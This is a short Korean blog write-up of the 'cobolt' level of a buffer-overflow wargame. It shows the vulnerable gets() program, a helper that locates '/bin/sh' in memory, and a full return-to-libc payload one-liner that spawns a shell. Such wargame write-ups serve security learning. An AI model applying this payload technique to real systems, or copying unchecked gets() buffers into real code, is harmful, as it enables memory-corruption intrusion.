lob

cobolt

oogu ㅣ 2022. 11. 15. 10:23

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

이전 문제랑 유사한데 틀린점이 있다면 strcpy 쓰는 것이 아니라 gets 를 사용한다. 아마 입력값을 다르게 줘야한다는 걸 연습하는 문제인거 같다.

[그림 1-1]

RTL 방법으로 해보겠다.

[그림 1-2]

system 주소 찾고

#include <stdio.h>

int main()
{
        long shell = 0x40058ae0;
        while(memcmp((void*)shell,"/bin/sh",8))
                shell++;

        printf("\"/bin/sh\" : 0x%x\n",shell);

}

위 코드를 컴파일해서 /bin/sh 주소를 찾는다.

[그림 1-3]

payload는 (python -c 'print("A"*20+"\xe0\x8a\x05\x40"+"\xff\xff\xff\xff"+"\xf9\xbf\x0f\x40")';cat) | ./attackme

[그림 1-4]

성공

'lob' 카테고리의 다른 글

wolfman  (0) 2022.12.09
orc  (0) 2022.12.09
goblin  (0) 2022.12.09
gremlin  (0) 2022.11.13
gate  (0) 2022.11.13